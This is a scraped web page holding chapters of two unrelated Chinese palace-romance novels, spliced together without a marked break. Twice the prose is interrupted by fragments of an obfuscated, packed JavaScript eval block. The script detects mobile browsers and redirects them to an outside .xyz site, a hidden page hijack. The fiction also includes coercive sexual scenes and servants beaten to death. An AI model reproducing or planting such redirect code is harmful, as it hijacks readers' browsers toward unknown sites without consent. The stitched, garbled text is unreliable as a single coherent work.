RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405086|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端起架子等赵明斐礼贤下士,顺便再捞些好处弥补惊吓,谁曾想赵明斐釜底抽薪,压根不在乎他们。 是以,当他要立江念棠做皇后时,前朝竟无一人敢因她生母卑微而置喙。 * 大婚的事情赵明斐全数交给江念棠打理,意思是她想怎么办就怎么办,又派右想从旁协助。 起初江念棠对这场婚礼并没有抱什么期待,大部分都交给右想打理,告诉她按照宫里的规矩办便是,直到赵明斐叫左思拿来送给皇后做寿礼的那套点翠掩鬓。 掩鬓通常成对出现,自下而上插入左右鬓边,收拢两侧碎发,露出完整的脸,在大虞多见于妇人发髻上,也是女子已成亲的象征之一。 团花翠羽中央镶嵌的翡翠被换成了成色极佳的帝王绿,被能工巧匠雕刻成一朵海棠花的形状,栩栩如生,精美华贵。 江念棠看见它们的瞬间,平静的内心不可抑制掀起波澜,而后便开始插手大婚诸般事宜。 这日,贴心的尚衣局送来两人的婚服,请江念棠补上最后一个锁边,权当她已亲手缝制。 撂了针线,江念棠凝望着织金镶玉的婚服,光彩华贵,看得眼前眩晕,想要出去走走。 散步到御花园时,两名宫女恰巧靠在假山深处躲懒,闲来无事正讨论立后一事。 “江家的那位小姐不知道夺了什么运道,竟然能被立为皇后。” “可不是?从一个名声不显的庶女鱼跃龙门,攀上登天高枝,令人羡煞。你说我们怎么就没能遇上这等好事,我再不济,生母也是秀才娘子,比什么乱七八糟的歌姬强多了。” 见她越说越没谱,刚起头的宫女慌了,连忙阻止同伴。 “好了好了,赶紧干活去。” “烦死了,又要冒着烈日去洒扫。”被挑起酸劲儿的宫女忿忿道:“她现在得宠又能怎么样,往后宫里进的人多起来,她以后还不知道会怎么……右想姑姑,奴婢该死。” 右想脸色冰寒,当场命令人拖下去杖毙,被江念棠拦住。 她的语气没什么情绪:“小惩大诫算了。” 一两句话而已,犯不着要人命。 这事儿发生不到一炷香,赵明斐已经传令将两名宫女打得血肉模糊,尸身被人抬着在内庭游走,务必让所有人知道她们因何而死。 晚膳时,赵明斐说起这件事,问她是不是生气了,江念棠摇头,她的表情不似作伪。 赵明斐眼眸微眯,半开玩笑半认真的问:“你不怕以后有了新人,我忘了你?也不怕我忘恩负义,苛待于你?” 江念棠手指微顿,认真望向身旁人,“殿下心中自有谋算。我自知身份低微,只要能偶尔见到您,就心满意足了。” 赵明斐眉眼弯弯,轻叹一声:“我们是患难夫妻,你该对我有点信心。” 她爱得太卑微了,就差明说随他处置。 江念棠骤然放下碗筷,一字一顿道:“我要你明媒正娶我为妻,发誓不许纳妾,今生今世只准有我一个。” 赵明斐听到纳妾这个词觉得有点奇怪,不过现在他的注意力完全放在江念棠身上。 她像变了个似的,澄澈的眼眸中闪动着肆意娇扈,让他感到新奇。 这样生机勃勃,明媚自信的江念棠他从未见过。 赵明斐屈指掩唇轻笑:“这么霸道,小心有人参你是妒妇。” 江念棠愣了一下,眼里的光顷刻黯淡,她垂眸道:“和殿下说笑而已。” 赵明斐脸上的笑淡了下来。 20. 第 20 章 赵明斐近日心情莫名郁躁,胸口止不住的杀意,浓烈的戾气中藏了几分不可言状的不安。 尽管江念棠后面解释女子妒忌乃乱家之源,她自小铭记圣人教诲,为人妻者须遵三从四德,柔顺孝恭,宽容不妒。 换作从前,赵明斐遇见这样一位通情达理的妻子定然多一份欣赏,但这个人偏偏是江念棠。 他心里总觉得哪里不对劲,但又说不上来为什么,有种难以描述的无力感。 赵明斐强行压下胸间不适,秘密招严珩一进宫,给他一份名单。 “国库空虚,你带人按照上面的去定罪抄家,在登基大典前赶回来。” 登基大典第二日便是帝后大婚。 严珩一接过一看,上面都是之前为求庇护,地方上送孝敬给赵明斐的贪官和富商们,他指着第一页最上头的名字打趣道:“人家每年给你十万两雪花银,你现在居然要过河拆桥,真狠啊。” 赵明斐不以为意,“以前是以前,现在是现在。再说,他们给钱的时候难道我没有替他们遮掩吗?” 现在他不需要钱了,自然要严格执行大虞律令。 严珩一最佩服赵明斐的一点就是他翻脸比翻书还快,前一刻还在跟人言笑晏晏推杯交盏,下一瞬就能毫不犹豫诛人全族。 认真说起来,皇帝不算冤枉他。 赵明斐确实充当过一段时间地方腐败官员的保护伞,让他们大肆敛财,鱼肉百姓。 究其原因乃世族之间盘根错节,你中有我,我中有你,仅凭一人之力焉能摧毁。 况且赵明斐母族势微,根本无法提供助力,他自己夹在皇帝与皇后之间,如履薄冰。龚州水患一事让赵明斐看清楚了要想彻底铲除这群毒瘤,决不能在明面上对着干。 他剑走偏锋,欲先取之,必先予之。 高门世家自诩尊贵,嫡脉瞧不上庶出,旁支瞧不上远亲,然而世上谁人不想功成名就,富贵无极,于是赵明斐向这些“壮志难酬”之辈递出橄榄枝。 他们要名,要权,他要钱,要矿。 钱用来招人,矿用来铸器。 与此同时,他利用与严珩一明面上的敌对关系,将出身寒门,不愿趋炎附势的有志之辈赶出京城,实则是保护。 他筹谋多年,终于在江皇后寿宴那日从根本上消灭祸乱根源,现在该轮到其余的虫豸之徒。 严珩一收起册子,谈完正事,他开始聊私事:“朱雀大街最外边有套二进的小宅子,殿下能不能赐给我?” 赵明斐挑眉:“你又要养外室?” 严珩一花名在外,红颜知己遍布京城大街小巷,偏偏迫于父命娶了个悍妇,每次他要纳妾,严府总要闹一回鸡飞狗跳。 “别胡说!”严珩脸色一变,摆摆手赶紧为自己正名:“之前我不是跟你说过,招了个用剑的好手,这次能在荒山虎口里活下来,多亏了他。他准备娶媳妇,我琢磨着送他一套宅子当做新婚贺礼。再说,人家帮忙办事还受了伤,不得犒劳一下?” 赵明斐皮笑肉不笑:“你送?” 严珩一:“我替你送。” 赵明斐对得力下属向来大方,不在乎这点身外之物。 严珩一满意地准备打道回府。 “慢着。” 赵明斐叫住他,在严珩一疑惑的眼光里说出这几日困扰自己的问题。 “严夫人为什么不喜欢你纳妾?” 严珩一的目光从疑惑变成了古怪。 御书房里的灯已经熄灭,屋内陷入诡异的静谧,赵明斐手肘撑在御案上方,双掌交叠,眸中的暗色比夜更幽深。 严珩一说,天下的女子没有一个会甘愿和别的女人分享丈夫。 他问有没有例外。 严珩一斩钉截铁否认。 “除非她不爱你。” 赵明斐回寝殿时已过子时,更深露重。 他掀起床帘,江念棠睡在床榻里侧背对着他,被子盖过大半个后脑勺,看不清面容。 她身子蜷缩贴紧墙壁,像是要将自己藏起来,偌大的床榻不仔细看,几乎可以忽略她的存在。 赵明斐面无表情审视她,脑海里一直回荡严珩一那句话。 江念棠睡得迷迷糊糊,隐约听见有响动声,然后又消失重归静谧,只不过这份安静里带了些许如芒背刺的骇然。 她睡得不大安稳,但无法撑开沉重的眼皮。 不知过了多久,锦被忽然钻入寒凉的潮气,紧接着她被人翻过去,落入宽大的怀里。 还不等她适应,密密麻麻地吻落在唇瓣上,猛烈地让人有点头晕目眩,呼吸也乱了节奏。 江念棠慢慢清醒过来,对上赵明斐的眼眸,主动伸手环住他的脖子,嗓音带着刚睡醒时独有的慵懒软糯:“今天这么晚?” 赵明斐没有回答,拇指扣在粉嫩细腻的脸颊上,来回摩挲,冷静观察她的表情。 烛光透过纱帐落在她迷蒙的双眸上,映照出她眼里浓郁的眷恋与热烈,让他心惊,让他沉沦。 “嘶——”江念棠微蹙娥眉,带着几分不解:“你弄疼我了。” 她的声音闷闷的,软软的,尾音打着旋儿,不像反抗,更像邀请,邀请他弄得更疼一点。 赵明斐无声地笑了,重新俯身而去。 江念棠只愣了片刻,收紧勾住他脖颈的手,热情回应。 温热的气息盈满床帐,冲散夜的寒凉。 天边泛起微微鱼肚白。 赵明斐臂弯里的人呼吸规律绵长,他偏过头无声凝视。 江念棠的唇瓣上还残留些许润泽,水光潋滟,像清晨绽放的红玫瑰般艳稠。 她怎么可能不爱他。 赵明斐拢紧手臂,把人又往怀里带了带,慢慢闭上眼假寐,脑海里反驳严珩一的话。 世上没有两片相同的叶,更不会有相同的人,将所有女子归成一类,实属草率。 江念棠睡醒已是日上三竿,然而天色灰蒙蒙的,远处的黑云连成一片往前压,屋内弥漫着山雨欲来风满楼的沉抑。 枕边人早已离开,她揉了揉昏沉的脑袋,摸着床沿起身。 听见响动,守在门口的右想轻轻推门进来,将屋内剩余的蜡烛悉数点亮。 明亮的光团在殿内氤氲蔓延,驱散昏暗。 江念棠被拥着更衣,洗漱,最后坐在落地铜镜前梳妆。 右想拿起一支翠玉海棠簪替她挽发,在瞥见镜中人右嘴角留有齿痕时,不动声色用脂粉替她遮盖。 “上回娘娘说想要喜服上改用火焰莲云纹,尚衣局的人已经修制完毕,等会便送过来。届时您再瞧瞧有什么要修改的地方,让她们加紧做。” 离登基大典还有三日,三日之后又是大婚,整个内廷忙成一锅粥,生怕出差错,尤其是新帝吩咐大婚以皇后的喜好为主,少不得有诸般改动。 但她们不敢有怨言,御花园青石板缝里残存的血沫提醒所有人,新帝对与他共患难的妻有多重视。 江念棠独自用过午膳,凉风骤起,吹得人昏昏欲睡。 昨夜赵明斐折腾了许久,每次刚陷入深眠便会被闷醒,反复数次,令人头疼。 索性现下无事,她干脆重回榻上休憩,等着嫁衣送来。 江念棠心里生出一点隐秘的期待,这件衣服,藏了她不能宣之于口的私心。 另一厢,左思伏跪在御书房地上,脸色微白。 旁边放了箱从西巷口拾掇出来的旧物,里面装的是赵明斐平日里写字画画用过的纸,一般而言这类东西要么烧掉,要么封起来由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405087|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专人保管,以防被有心之人盗用。 左思按照惯例准备集中焚毁,然而在检查时发现了一叠丹青图,是江念棠练习临摹赵明斐而作。 问题就出在她的画上。 赵明斐面如沉水盯视案桌上依次排列的画,画中人无一例外都没有完整的五官,缺失的都是眉眼以下部位。 他们眉眼弯成下弦月,即便没有嘴,也能看出笑如灿阳。 赵明斐平日里也爱笑,身边人最常见的是他温和中带着敷衍的笑,其次是冷漠的笑,笑里藏刀的笑。 左思一眼就看出画中人与赵明斐气质完全不像,何况本人。 大殿里静悄悄,昏沉沉的,灯芯偶尔一声细微的噼啪响,惊得内殿的宫人们愈发缩紧脖子,屏住呼吸。 难掩的压抑在屋内蔓延,迫得人胆战心惊,又不敢真哆嗦引人注意。 轰隆一声惊雷落地,刺眼的白光一道照出赵明斐的沉眸敛眉,另一道落在江念棠恍惚的眼眸中。 身上的嫁衣与她想象中的一模一样,不,甚至比想象的更好。 繁复精巧的火纹掺了金线,缝制在衣摆的每一个边角,她穿上后像被火焰包围。 有奇闻异志记载,据说若将火焰纹绣满新人的喜服,他们会得到火神的祝福,灵魂被火融在一起,哪怕死亡也不能分离。 他认真跟她说的时候,她装作不以为意,转身在暗地里悄悄收集各种火焰纹,勤加练习。 江念棠看着镜子中孤身的自己,蓦地红了眼。 右想误以为她是喜极而泣,赶忙注意力,“娘娘要不要试妆,看看有没有再改的地方。” 江念棠扫了眼托盘里绚烂精美,玲珑华贵的珠钗步摇,轻轻摇了摇头。 “不用,把我的木簪拿过来。” 右想不明所以,还是照做。 江念棠接过后替自己熟练地挽了个极简单的发髻,转头对右想嫣然一笑:“好看吗?” 微焦的发簪近乎深黑,松松挽在柔顺的青丝上,不细看难以找寻。旁边有松散的发垂落,被一只素手随意勾起挂在而后。 没有一丝粉黛装饰,却美得像一幅画,尤其是乌黑的杏眼笑吟吟望过来时,温婉清丽,姣美动人。 右想愣了一下,还没来得及说出那句赞美之词,门口传来赵明斐回宫的唱喏声。 声响还未停歇,他人已大步流星踏入内殿。 右想跟在赵明斐身边伺候多年,立刻察觉出他面如常色下的薄怒,看到他挥手示意人都下去后,朝江念棠投去一个担忧的眼神。 然而她正沉浸在穿上新衣的兴奋中,完全忽视右想的提示,转而将问题抛给赵明斐。 赵明斐站在她身前三步之遥,一言不发,不带感情的眸光在她身上寸寸掠过。 江念棠仿佛毫无所觉,提着厚重的裙摆朝他走来,满眼期待抬头看他:“再有三天,我们就成亲了。” 她脸上的快乐和幸福几乎溢出来。 赵明斐伸手,用力揽过她的细腰,紧紧禁锢在胸前。 他忽然觉得自己有些可笑,竟然被心里那点虚无缥缈的不安困扰数日。 江念棠是他的妻子,画上的人除了他还能是谁。 她的心,她的身,都属于他。 赵明斐偏过头在她耳边轻语:“我们早就成亲了,不是吗?” 江念棠意识到他话中的深意后眼眸微暗,垂眸轻颤长睫间细弱蚊蝇地嗯了声。 宛如一个信号。 束腰的封带被骤然扯下,冗重的裙重重落在地上,紧接着大掌精准地寻到与鬓发融为一体的木簪。 发簪一去,浓密的乌发顷刻间如瀑般洒落。 他眸色渐暗,嗓音低沉缠绵。 “这回,你准备好了吗?” 50-60 第51章 游园 你是我的,我怎么舍得让他们认出你 当晚裴璟抿紧唇角, 脸色阴沉,他一言不发地可劲折腾傅归荑。 动作急切得似乎在发泄什么,他恼恨傅归荑的软硬不吃, 又恼恨自己的自取其辱。 更恼恨的是,就算她如此不识抬举, 以下犯上, 做下一桩又一桩不可饶恕的大罪, 他也仍然舍不得放开她。 强权压迫她,她不怕。 怀柔怜惜她, 她不要。 裴璟忽然惊觉,以往他的那些诸多手段,无论是面对敌人还是面对下属在她身上都丝毫不起作用。 她的心比她这个人看上去更冷, 更硬。 他垂下眸,傅归荑眼尾殷红, 双眸浮光点点, 宛如装进了夏日星空,面颊染成胭脂色, 妩媚动人。 偏偏她死死咬住唇口, 拼命地阻止喉间呼之欲出的低吟, 娇柔又倔强的样子让他又爱又恨。 裴璟探手想要救出被她折磨得发肿的唇,不料刚伸进去半个指尖,傅归荑立刻张口就咬。 他着了一次道,哪能在同一个地方摔倒第二次。当机立断退出来, 改为擒住她的两颊,略微抬起。 手上控制着力道, 刚好够迫使她松开唇瓣。 裴璟忍住舌尖的疼痛, 咬牙切齿道:“你是咬人咬上瘾了。” 傅归荑嗔目怒视, 胸口剧烈地上下波动,嘴里含糊不清地说了句什么。 裴璟听清后眉毛微挑,旋即勾起嘴角冷笑了声,笑得令人不寒而栗。 “你都这样骂我了,我若是不做给你瞧瞧,岂不是枉费你一番唇舌。” 最后那个字落音得极重,几乎能听出厉色来,傅归荑泫然欲泣的眼眸瞬间被撞出了两行清泪。 她从前以为裴璟的花样已经够多了,这晚上她才真实的领教到南陵到底有多少她不知道的东西。 傅归荑的呼吸时而像巨浪一般起伏,时而断断续续。她从来不知道自己的腿可以弯曲到这种程度,更不知道裴璟的力气大到能单手托住她全身。 “傅归荑,你向我求饶,我就放过你。”裴璟力道不减,一双眸子泛着微赤色,目光幽深看着面前的人。 傅归荑颤抖着唇,似乎想说什么,最后憋着一口气抬起双手去勾裴璟的脖子,头猛地贴上他的右肩,趁他呆愣瞬间一口狠咬了下去。 口中瞬间腾起铁锈腥味,及时堵住她忍不住溢出口的抽泣。 裴璟嘶了一声,不怒反笑:“痛快,看看今天我们两个到底谁先松口。” 说罢,动作愈发蛮横凶狠。 傅归荑根本不知道自己是如何熬过去的,但她隐约记得裴璟给她喂了药,还给她渡了一口烈酒。 后面的她记不清了。 裴璟一连几日都沉着一张脸,弄得周围人都战战兢兢,生怕惹他不快,人头落地。 他连日常与大臣们议事时也大多数不发一语,阴鸷着一张脸,偶尔只吐出一个字或者两个字的短音,一副喜怒难测,天威摄人的高深模样。 大臣们无不缩起脑袋勤勤恳恳干活,有平日里偶尔偷得半日闲的官员也夹紧尾巴不敢大意,生怕被裴璟找到由头狠狠发落。 本想提醒他选秀之事赶紧办的肱股之臣们也不约而同地噤了声,听说太子殿下屋内有了人,他们也不敢再多做催促。 众人都在琢磨太子殿下心情不佳的原因,想到南方洪涝迟迟未能解决,反而愈演愈烈的趋势,私下揣测估计是那边的官员没办好差,所以惹得他大动肝火。 有人花重金从赵清公公口中得知太子殿下有意亲自去南方督管治水之事。 大伙回去纷纷顺了顺自己的人脉关系,有亲朋好友在南方五省当值的,即刻快马加鞭送去急信,勒令他们有贪污的赈灾粮款赶紧吐出来,有偷奸耍滑的马上紧了皮办差。实在是救不了的,直接划清界线,以免殃及池鱼。 外面如何腥风血雨,傅归荑一概不知,但唯独裴璟不说话的原因她是最清楚不过的。 那日她咬人的时候毫不留情,偏偏他素日高傲不肯示弱,被咬后也不宣太医及时诊治,非要先教训她,结果自己落得个舌头重伤的下场。 想到他这几日食不下咽,语不能言,整天阴沉着脸的样子,傅归荑打心底觉得出了一口恶气,这几日她还故意让膳房上一些辛辣,重口之物。 裴璟怒而不能言,只能用眼神警告她不要得寸进尺,傅归荑假装看不懂,若无其事地自顾自用膳。 坐在梳妆台前,傅归荑看着铜镜里面陌生又熟悉的自己。简单的发髻配上几根金簪,这是南陵最容易上手的单螺髻,是她自己梳的。 除此之外,在这一个月内她还学会了灵蛇髻、圆心髻等简单易学的发型。还有用珍珠粉和胭脂上妆,学会了描眉,寻常女子会的技能她都通晓了大半,仿佛天生就会似的。 忽然她对着镜子笑了笑,里面的少女眉眼弯弯,两片桃花色的唇扬起明显的弧度,灿烂纯真的笑容打碎她往日的清冷疏离,宛如天真无忧,未经世事的小女孩。 怔怔看了一会儿后,她淡了笑意,抚摸上自己的脸,轻声喃喃自语:“哥哥,我这样好看吗?” 回答她的只有夏日躁动的蝉鸣。 素霖进来的时候,手里捧着芙蕖紫檀托盘,上面放了大大小小的青花缠枝凤纹小碟,分别装了绿豆冰糕,红豆糕,荷花酥和一碗凉茶。 她笑着夸了傅归荑一句妆容淡雅,宛若洛神。 傅归荑客气道谢,请她去端一盆水来。 素霖:“贵人今日的妆容秀丽清绝,太子殿下一定喜欢。” 傅归荑置若未闻,神色冷淡地卸了脸上的东西,只留下一个光秃秃的单螺髻。 素霖悻悻然闭了口。 傅归荑垂眸看着梳妆台上琳琅满目的首饰,无一不精巧,无一不名贵。东珠是正宫皇后才能使用的物品,放眼望去,这堆东西里有三成都用了此物,颗颗饱满圆润,最小的也有小指指甲盖那么大。 这几日院子里的人来来回回,看样子是在收拾东西。 裴璟曾经跟她说可能会去南方五省…… 金钗步摇等样式都是出自宫里,民间少有,拿出去太引人注目,东珠,应该更容易携带。 想到这些,傅归荑暗骂裴璟无耻至极,也不知道他是从哪学来的昏招,将她全身财物统统收缴干净,连一枚铜板都没留给她。 堂堂一国太子,竟然贪图她手上的那点黄白之物。 下午,傅归荑躺在榻上小憩了会,迷迷糊糊间有个什么恼人的东西在自己脸上和脖颈间游走,痒得她难受。 睁开眼,发现裴璟坐在旁边,拾起她铺在枕后的一缕青丝,胡乱地在她身上戳。 傅归荑没好气地抢了回来。 裴璟见人醒了,命令素霖替她上妆。 素霖十八般武艺在她脸上捯饬,梳了个最复杂的牡丹头,又往她头上装饰了一大堆金钗珠环,沉得傅归荑起身时差点摔倒,裴璟在旁边扶了一把。 他端详片刻后赞了句不错。 素霖眼里的高兴藏都藏不住,一点也没有往日东宫第一女官的沉稳。 不等傅归荑反应过来,裴璟又叫人取来一块面纱给她遮住下半张脸。 “走,我们出去逛逛。”裴璟揽住她的腰,不由分说地带她离开别院。 两人身后跟了一群宫女太监,阵仗弄得很大,有一种恨不得要全天下的人都知道的感觉。 傅归荑眉头微皱,她虽然在院子里能自如地穿着女装行走坐卧,那也是因为里面都是裴璟的人,知道自己身份的人不敢泄露出去。 然而院子外的人则鱼龙混杂。虽然给文臣、武官、世子和其他闲杂人等各自划了固定的活动区域,公共区域是对众人都开放的。 比如上次与裴璟比试射箭的地方便是避暑山庄的一处花园,占地几百亩,亭台楼阁与水榭回廊交错纵横,还有假山石林,溪流瀑布,不少人都喜欢在这里躲懒偷闲,还成全了不少郎才女貌,花前月下的佳话。 此时正是午休刚起,不少人出来活动筋骨,远远就看见裴璟一群人沿着竹林小道款步而来。 自然也注意到他旁边的女子。 他们两人挨得极近,亲密无间。 裴璟旁边的女子步履轻盈,体态婀娜,浅绿色襦裙配了跟鹅黄色的细带,行走间带起一丝凉风,衣袂飘飘,飘逸动人。 抬眼往上看,女子的下半张脸盖着浅白色的面纱,隐隐约约勾勒出小巧精致的脸部轮廓。没遮住的上半部分,露出一双澄澈眸子,此刻隐约透出些薄怒。 傅归荑压低嗓音,“你带我来这里做什么!” 裴璟对她的怒意视而不见,反倒眉梢带笑:“怕什么,不会有没有眼色的人撞上来。” 他的手一直揽在傅归荑后腰,感受到她僵直的背脊,好心地替她揉搓了一下,却没想到她更僵硬了。 裴璟屈指掩面低笑:“放轻松些,别人看见还以为你在跟我闹脾气。” 傅归荑不想引起别人注意,用冰冷的眼神狠狠剜了裴璟一眼。 裴璟笑意更深,“别苦大仇深的,就走一圈。你要是一直苦着脸,我们就走到你高兴为止。” 傅归荑胸膛微微起伏着,强迫自己舒展额头,几个呼吸间便恢复成平日里的淡漠疏离。 裴璟也不勉强,手将她搂得更紧了些。 两人逛了大半圈,确实无人敢撞到二人跟前,大部分人见到是太子殿下出行都自觉纷纷避让。 然而他们的眼睛和耳朵都集中在二人身上,尤其是傅归荑身上。 所有人都在猜她的身份。之前就有小道消息说太子殿下身边已经有了个得宠的人,原本以为是空穴来风,没想到今日一见果真有此人。 不说别的,光她头上的珠钗就能看出此人在太子心里的地位,龙眼大小的东珠在她发髻上足足簪了十二颗,在日光下反射着莹润透亮的光,一看就是东珠中的珍品。 东珠,那可是中宫才能用的玩意。 更不要说太子殿下对她的态度,他们隔着远远的距离都能看到她额头上的褶皱,反观平日里总是冷着脸的殿下,此刻眉梢间都带上了些许笑意。 敢在殿下面前发脾气的女人,偏偏殿下不仅不生气,甚至在哄人! 光是这一点,就足以说明她在殿下心中的分量。 乌拉尔今日也撞上了裴璟,他躲在假山后看着他们一群人脚步不歇地逛着园子,心里纠结不已。 听说阿宜突发疾病被送回了宫,他三番五次去向赵清公公打听都被他含糊了过去,心里愈发焦急。 难道真是像他们说的,阿宜因为丹书铁券一事惹得太子殿下不快,所以被迫送回宫。 乌拉尔眼眸半眯,下一次再见到太子也不知道是什么时候。 裴璟余光扫了眼藏在各处的人,心想他们该看的应该也都看见了,自己身边有女人的消息应该很快就能传到那群朝臣们的耳朵里。 前几日他看出来他们迫切地想将选秀之事提上日程,话里话外都在暗示他赶紧选人,早日诞下子嗣。 想让这群臣子们支持他亲自前往南方五省救灾,又不想真的选一堆女人进来闹心,他便想出了今天这个主意。 好让他们知道自己不是真的不近女色,更不是对后嗣的问题避而不谈。 眼见傅归荑身上的寒气越来越重,裴璟不想真把人惹怒了,正打算带她离开,忽然有两个不长眼的冲了过来。 “臣见过太子殿下。” “臣见过太子殿下。” 乌拉尔拉着个世子假装散步撞上裴璟,在离他三步之遥的地方停下,躬身垂首行礼。 傅归荑一见到是熟人,心道糟糕。 别人她还好混过去,乌拉尔看似大大咧咧实则心思细腻,更何况她与自己接触相处的时间不少,稍不留神就有可能被他发现身份。 她低下头不动声色地往后退了一步,又被后腰上的手强行推回来。 傅归荑朝微微仰头朝裴璟瞪了一眼,然而他却目不斜视地看着前面二人。 “两位世子免礼,你们拦住孤意欲何为?” 裴璟的声音低沉冷肃,心不跳气不喘的。 在他们二人抬头的瞬间,傅归荑立即转过头,脸偏向裴璟的胸前,只留一个侧脸对着他们。 她悄悄握紧了拳头,心被吊在了半空中。 傅归荑在心里埋怨裴璟为什么非要走这么一遭,连带着乌拉尔也被她迁怒,平日里他见到裴璟恨不得绕道走,怎么偏偏今天撞过来。 “是这样的……” 乌拉尔的语气明显很紧张,九尺高的汉子声音比夏蝉还小。 “听说阿宜,不,傅世子生病了,我想向殿下打听一下他生了什么病?” 裴璟没有立刻回答,而是冷眼打量乌拉尔,看得他冷汗直流。 “乌世子和傅世子很熟?” 不等乌拉尔回答,被他拉来壮胆的世子脱口而出:“熟……啊!” 他被乌拉尔狠狠踩了一脚,痛得闭上了嘴。 乌拉尔挠了挠头,憨笑了下:“还行,不算很熟,只是来京城时同行过一段路。” 裴璟冷冷哦了一声:“既然不熟,孤也不好透露他的病因,毕竟这是他的私事。” 乌拉尔听后心里一突,颤声问:“请问殿下,他是……是小问题吧,应该会好起来的,对吧?” 傅归荑心里微暖,原来乌拉尔是担心自己被裴璟病逝,特地来打探的。 他在告诉裴璟,傅归宜不是没有人惦念的,若是真要动手,他不会善罢甘休。 傅归荑暗笑他,明明怕裴璟怕得要死,平日里甚至都不敢多提他的名号,今日却愿意站出来为自己出头。 她的脸稍微移动了半寸,想看看乌拉尔此刻的表情,还不等她看清楚,一只大掌忽然按住她的后脑勺。 她整张脸瞬间贴在裴璟的胸前,压得她几乎喘不过气。 “这要看傅世子自己的身体情况,毕竟药物只是辅助治疗,能不能好起来还得靠他的意志力。” 裴璟上一刻声音沉冷如冰,下一刻登时温柔似水。 他低头对傅归荑道:“怎么了,是不是日头太大,晒得你头晕。” 大掌轻轻抚摸着傅归荑的脑袋,暗含警告。 傅归荑佯装点头,假装软了腰,一副要昏倒的样子。 裴璟这一下,瞬间吸引乌拉尔二人的目光集中在傅归荑身上,她能明确地感受到两人打量探究的目光,不得不将脸埋得更深。 她的呼吸又急又轻,生怕哪里露馅。 “真是娇气。”裴璟的语气无奈又宠溺,他使了个眼色示意两人让路。 乌拉尔哪里敢挡裴璟的道,立刻侧身。 裴璟骤然弯了腰,一手穿过傅归荑的双膝,一手将人拦腰抱起。 傅归荑没料到他在光天化日之下也敢如此行事,一个不防仰头露出了正脸。 她急忙捂住自己的面纱,余光正对上乌拉尔看过来的目光。 傅归荑慌乱中勾住裴璟的脖子,整个人贴了上去,双唇不小心擦到他微动的喉结。 裴璟陡然间呼吸粗重了一瞬。 他抱着人的手往怀里自己靠了靠,低下头,薄唇刚好对准她的耳尖。 “没规矩,回去再收拾你。” 明明是斥责的话,可落在旁边两人耳朵里却宠爱十足,尤其是殿下看人的眼神,柔情蜜意,含笑缱绻。 乌拉尔两人心照不宣地把脸转到一边,心里却暗叹这位女子好生厉害,愣是把冰山炼成了绕指柔。瞧他们耳鬓厮磨的样子,想必她很得太子殿下的欢心。 傅归荑心里紧张又难堪,松开一只手抵在他胸口推了一把,换来的是腰上的手用力一掐。 裴璟笑意不减:“好好好,我抱你回去。” 傅归荑不敢开口说话,只能冷眼盯着他,警告他不要乱来。 裴璟哈哈一笑:“都答应你,你说的哪件事没有依你,嗯?” 傅归荑咬住后槽牙,贴在他后勃颈的手狠狠一掐,满意地看到裴璟脸色有一刹那的扭曲。 他见好就收,调整好呼吸大步流星抱着傅归荑离开了园子。 “恭送太子殿下。” 裴璟一行人的身影彻底消失在眼前后,乌拉尔他们才敢把僵硬的脖子扳正。 “喂,乌拉尔,你方才为什么说跟傅世子不熟啊。” “你是想害死阿宜吗,太子殿下难道愿意看我们世子间拧成一根绳?” “有道理……你等等我。” 乌拉尔最后看了眼路的尽头,转身大步离开。 裴璟回到院子里才把傅归荑放下,她甫一落地,冷着脸扯下面纱朝裴璟脸上丢过去,兀自转身回房。 裴璟偏头躲过,轻纱在空中缓慢地落下。 两人在相顾无言的沉默中用完晚膳。 实际上是傅归荑单方面不想理裴璟,裴璟几次示好都被她冷冷刺了回去,闹到最后他也失了耐心。 月上中天,裴璟按着她的双肩将人抵在墙上,大张挞伐,他恨恨道:“你最近给我甩脸色愈发熟练了。” 傅归荑喘息着,扯了扯嘴角,“谁让太子殿下舍不得杀我。” 她话音一转,语带怒意:“再说,今天是你先违背我们之间的约定。当日我们说好的,我的身份你不能暴露一分。” 回答她的是裴璟在耳垂上的重重一咬。 裴璟把人从墙上扣下来,送入榻上,自己侧躺在旁边。 他抚摸着旁边人酡红的脸颊,又伸手替她拂去贴在脸颊上濡湿的鬓发,轻声在她耳边说道。 “你放心,我答应过的你事情,说道做到。若今天他们两个真认出了你的身份,我也有法子叫他们不敢输出去。” 傅归荑意识已经模模糊糊,她在陷入昏迷前听到裴璟在她耳边低语。 “你是我的,我怎么舍得让他们认出你。” 翌日,傅归荑醒来后将裴璟昨日不正常的行为细细思索了一遍,最终得出答案。 他估计是要启程去南方五省了。 当晚,傅归荑提出要裴璟将她手里的丹书铁券送回苍云九州,一定要确保送到自己父母的手上。 无论她要做什么,都逃不过裴璟的眼睛,既然这样,不如大大方方告诉他自己的打算。 裴璟嗤笑道:“你让我送我就送?” 傅归荑很平静地指出了他拿自己做挡箭牌一事。 裴璟盯着她看了好几眼,最终答应了,但提出了一个附加条件。 傅归荑听后气得涨红了脸。 裴璟知道她一定会答应的,于是第二日便叫人送来一箱贴了封条的衣物。 这是他早些时日连夜召来尚衣局的人赶制衣衫。 三日后的夜晚,正抱着软玉温香熟睡的裴璟听见门外传来特殊的响动。 他悄悄起身,弯腰捞了件衣衫披在身上,一脸餍足。 打开门,赵清抵上一张纸条,是秦平归送来的密信。 上面只有四个字。 头痛,速来。 作者有话说: 最后的衣服指路第40章 末尾[doge.jpg] 秦平归:我在干活,你们在谈恋爱,真行啊! 第52章 名字 别忘记我们的约法三章。 裴璟接到秦平归发来的密信, 第二日马上召集群臣商议此事。 最终决定三日后所有人兵分两路,一路护送世子和部分官员及家眷回京,另一部分随太子殿下前往南方五省。 